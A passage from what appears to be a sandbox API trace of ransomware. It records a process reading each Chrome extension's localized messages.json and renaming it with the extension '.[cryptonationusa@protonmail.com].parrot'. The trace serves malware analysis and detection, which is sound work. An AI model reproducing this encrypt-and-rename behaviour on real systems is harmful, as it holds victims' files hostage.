ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x388, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0072.492] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\es\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0072.492] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0072.492] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x826e9470, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x826ebb80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x826ebb80, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0072.492] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0072.492] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0072.492] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x826ebb80, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x826ebb80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x82aada20, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x2b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0072.493] LockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3d0, nNumberOfBytesToLockHigh=0x0) returned 1 [0072.493] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0072.493] ReadFile (in: hFile=0x28c, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0072.495] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.495] ReadFile (in: hFile=0x28c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x2b8, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0x2b8, lpOverlapped=0x0) returned 1 [0072.496] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.496] UnlockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3d0, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0072.496] CloseHandle (hObject=0x28c) returned 1 [0072.497] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\es\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\es\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\es\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\es\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0072.499] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\es\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0072.499] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x826e9470, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb8b245e0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb8b245e0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0072.500] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x826ebb80, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x826ebb80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb8b245e0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x3d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0072.500] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\es_419\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0072.501] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0072.501] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x826f30b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x826f7ed0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x826f7ed0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0072.501] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0072.501] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0072.501] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x826f7ed0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x826f7ed0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x82aada20, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x29b, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0072.501] LockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3b3, nNumberOfBytesToLockHigh=0x0) returned 1 [0072.501] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0072.501] ReadFile (in: hFile=0x28c, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0072.504] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.504] ReadFile (in: hFile=0x28c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x29b, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0x29b, lpOverlapped=0x0) returned 1 [0072.505] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.505] UnlockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3b3, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0072.505] CloseHandle (hObject=0x28c) returned 1 [0072.505] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\es_419\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\es_419\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\es_419\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\es_419\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0072.508] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\es_419\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0072.508] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x826f30b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb8b245e0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb8b245e0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0072.509] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x826f7ed0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x826f7ed0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb8b245e0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x3b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0072.509] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\et\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0072.509] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0072.509] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x826ff400, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x82701b10, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x82701b10, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0072.509] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0072.510] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0072.510] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x82701b10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x82704220, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x82aada20, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x261, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0072.510] LockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x379, nNumberOfBytesToLockHigh=0x0) returned 1 [0072.510] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0072.510] ReadFile (in: hFile=0x28c, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0072.512] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.512] ReadFile (in: hFile=0x28c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x261, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0x261, lpOverlapped=0x0) returned 1 [0072.513] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.513] UnlockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x379, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0072.513] CloseHandle (hObject=0x28c) returned 1 [0072.513] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\et\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\et\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\et\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\et\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0072.516] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\et\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0072.516] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x826ff400, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb8b4a740, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb8b4a740, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0072.517] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x82701b10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x82704220, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb8b4a740, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x388, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0072.517] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\fi\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0072.518] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0072.518] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x82709040, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8270de60, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8270de60, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0072.518] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0072.518] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0072.518] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8270de60, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8270de60, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x82aada20, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x2a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0072.518] LockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3b9, nNumberOfBytesToLockHigh=0x0) returned 1 [0072.518] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0072.518] ReadFile (in: hFile=0x28c, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0072.558] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.558] ReadFile (in: hFile=0x28c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x2a1, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0x2a1, lpOverlapped=0x0) returned 1 [0072.559] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.559] UnlockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3b9, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0072.559] CloseHandle (hObject=0x28c) returned 1 [0072.560] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\fi\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\fi\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\fi\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\fi\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0072.563] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\fi\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0072.563] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x82709040, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb8bbcb60, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb8bbcb60, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0072.564] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8270de60, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8270de60, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb8bbcb60, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x3c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0072.564] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\fil\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0072.564] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0072.564] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x82715390, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x82717aa0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x82717aa0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0072.564] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0072.564] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0072.564] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x82717aa0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x82717aa0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x82aada20, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x2b4, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0072.565] LockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3cc, nNumberOfBytesToLockHigh=0x0) returned 1 [0072.565] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0072.565] ReadFile (in: hFile=0x28c, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0072.569] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.569] ReadFile (in: hFile=0x28c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x2b4, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0x2b4, lpOverlapped=0x0) returned 1 [0072.570] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.570] UnlockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3cc, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0072.570] CloseHandle (hObject=0x28c) returned 1 [0072.571] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\fil\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\fil\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\fil\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user 